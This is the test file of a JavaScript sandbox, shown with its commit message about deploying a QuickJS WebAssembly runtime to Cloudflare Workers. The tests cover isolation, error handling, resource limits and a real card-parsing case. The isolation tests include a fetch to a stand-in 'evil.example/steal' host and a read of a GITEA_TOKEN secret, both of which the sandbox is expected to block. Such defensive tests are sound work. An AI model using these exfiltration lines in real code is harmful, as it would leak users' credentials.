Files
Leo 08a79229a5 fix(code): Workers 實部署修正 —— wasmfile+Module 載入 + tick-budget timeout(CF 實測)
leo21c 實部署發現兩個 CF 限制並修正:
1. CF 禁 runtime 從 bytes 編譯 wasm(WebAssembly.instantiate(bytes) 被 embedder 擋)
   → singlefile(base64) 內嵌不可用。改 wasmfile variant + `import wasm from './vendor/quickjs.wasm'`
   (wrangler CompiledWasm rule 綁成預編 WebAssembly.Module),newVariant({wasmModule}) 注入。
   sandbox 改 variant 注入制(setVariant):Worker 注 wrangler Module、Node 由 bytes 建 Module,
   同一 production 路徑受測。vendor/quickjs.wasm 由 postinstall 自 node_modules 複製(gitignored)。
2. CF 凍結同步執行期 Date.now → wall-clock deadline 對純同步迴圈失效(撞 CF CPU 回 1102)。
   改指令計數 interrupt(max_ticks,CF-safe),wall-clock 留 Node 保護。校準:cadence≈5000
   指令/tick、真實 card 解析≈4 ticks、CF 門檻≈1000+ ticks → 預設 max_ticks=500。
   有 body 的迴圈(含 100M 迴圈)皆乾淨回 TimeoutError;空體 while(true){} 仍由 CF CPU guard 容納。

Worker live: arcrun-code.leo21c.workers.dev(cypher-executor 以此 workers.dev 慣例位址呼叫)。
Node 單測 12/12 綠(wasmfile variant + 注入 Module,同 production 路徑)。

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01HJiLCRUU2o3aSpPEzVCt2o
2026-07-06 05:15:50 +00:00

136 lines
5.6 KiB
JavaScript
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
import { describe, it, expect } from 'vitest';
import { readFileSync } from 'node:fs';
import { fileURLToPath } from 'node:url';
import { dirname, join } from 'node:path';
import { runCode, setVariant } from '../sandbox.mjs';
import { planCard } from './fixtures/card-to-envelope.oracle.mjs';
import baseVariant from '@jitl/quickjs-wasmfile-release-sync';
import { newVariant } from 'quickjs-emscripten-core';
const HERE = dirname(fileURLToPath(import.meta.url));
const FIX = join(HERE, 'fixtures');
// 注入與 productionWorker)同一條路徑:wasmfile variant + 預編 WebAssembly.Module。
// Worker 由 wrangler 把 import 的 .wasm 綁成 Module;此處在 Node 由 bytes 建 Module。
const wasmBytes = readFileSync(join(HERE, '..', 'node_modules', '@jitl', 'quickjs-wasmfile-release-sync', 'dist', 'emscripten-module.wasm'));
setVariant(newVariant(baseVariant, { wasmModule: new WebAssembly.Module(wasmBytes) }));
describe('① 基本 snippet 跑通', () => {
it('sum: {return {sum: input.a + input.b}}', async () => {
const r = await runCode('return {sum: input.a + input.b};', { a: 2, b: 40 });
expect(r).toEqual({ success: true, data: { sum: 42 } });
});
it('可用純 ECMAScript 內建(Array/JSON/Math/Date', async () => {
const r = await runCode(
'return {mapped: input.xs.map(x=>x*x), max: Math.max(...input.xs), isNum: typeof Date.now()};',
{ xs: [1, 2, 3] },
);
expect(r.success).toBe(true);
expect(r.data.mapped).toEqual([1, 4, 9]);
expect(r.data.max).toBe(3);
expect(r.data.isNum).toBe('number');
});
});
describe('② 沙箱隔離:無 ambient 能力', () => {
it('fetch / process / require / WebAssembly / globalThis.env 皆 undefined', async () => {
const r = await runCode(`return {
fetch: typeof fetch,
process: typeof process,
require: typeof require,
wasm: typeof WebAssembly,
globalThisEnv: typeof (globalThis.env),
xhr: typeof XMLHttpRequest,
};`, {});
expect(r.success).toBe(true);
expect(r.data).toEqual({
fetch: 'undefined', process: 'undefined', require: 'undefined',
wasm: 'undefined', globalThisEnv: 'undefined', xhr: 'undefined',
});
});
it('嘗試打網路(fetch)→ 被擋、回結構化 errorWorker 不掛)', async () => {
const r = await runCode(`return fetch('https://evil.example/steal');`, {});
expect(r.success).toBe(false);
expect(r.error).toMatch(/fetch.*is not defined/i);
expect(r.error_type).toBe('UserCodeError');
});
it('嘗試讀 env/secret → 讀不到(process undefined', async () => {
const r = await runCode(`return process.env.GITEA_TOKEN;`, {});
expect(r.success).toBe(false);
expect(r.error).toMatch(/process.*is not defined/i);
});
it('host 端變數不外洩:沙箱是獨立 heap', async () => {
const r = await runCode(`return typeof GITEA_TOKEN + '|' + typeof globalThis.GITEA_TOKEN;`, {});
expect(r.success).toBe(true);
expect(r.data).toBe('undefined|undefined');
});
});
describe('③ 錯誤處理 → 結構化 {error}', () => {
it('user code 拋錯 → success:false + error 訊息', async () => {
const r = await runCode(`throw new Error('boom');`, {});
expect(r.success).toBe(false);
expect(r.error).toMatch(/boom/);
expect(r.error_type).toBe('UserCodeError');
});
it('語法錯誤 → 結構化 error(不炸 host', async () => {
const r = await runCode(`return {;`, {});
expect(r.success).toBe(false);
expect(r.error_type).toBe('UserCodeError');
});
});
describe('④ 資源限制', () => {
it('timeout:無窮迴圈 → TimeoutError(不掛死 host', async () => {
const r = await runCode(`while(true){}`, {}, { limits: { timeout_ms: 200 } });
expect(r.success).toBe(false);
expect(r.error_type).toBe('TimeoutError');
}, 10000);
it('輸出過大 → ResourceError', async () => {
const r = await runCode(`return 'x'.repeat(input.n);`, { n: 5000 }, { limits: { max_output_bytes: 1000 } });
expect(r.success).toBe(false);
expect(r.error_type).toBe('ResourceError');
});
it('code 過大 → ResourceError', async () => {
const big = '/*' + 'a'.repeat(3000) + '*/ return 1;';
const r = await runCode(big, {}, { limits: { max_code_bytes: 1000 } });
expect(r.success).toBe(false);
expect(r.error_type).toBe('ResourceError');
});
});
describe('⑤ 首個真實案例:card-to-envelope 在 code 零件內跑,產出與原模組一致', () => {
const md = readFileSync(join(FIX, 'fixture-card.md'), 'utf8');
const usercode = readFileSync(join(FIX, 'card-to-envelope.usercode.js'), 'utf8');
const relPath = 'system-dev/wiki/cards/notes/沙箱示範卡.md';
const repo = 'Leo/notes';
// 移除時間相依欄位(Date.now())以做穩定 deep-equal
const strip = (plan) => {
const p = structuredClone(plan);
for (const e of p.envelopes) delete e.extractor.extracted_at;
return p;
};
it('沙箱輸出 === 原始模組 planCard 輸出(entry/nodes/triplets/envelopes 全等)', async () => {
const oracle = planCard(md, relPath, repo, {});
const r = await runCode(usercode, { md, relPath, repo, opts: {} }, {
limits: { timeout_ms: 3000, max_output_bytes: 4 * 1024 * 1024 },
});
expect(r.success).toBe(true);
expect(strip(r.data)).toEqual(strip(oracle));
expect(r.data.entry.page_name).toBe('wikicard:Leo/notes/沙箱示範卡');
expect(r.data.entry.metadata.embed).toBe(true);
// 注入的 sha256 builtin 與 node crypto 一致 → content_hash 逐字相同
expect(r.data.entry.metadata.content_hash).toBe(oracle.entry.metadata.content_hash);
expect(r.data.envelopes.length).toBeGreaterThanOrEqual(1);
}, 15000);
});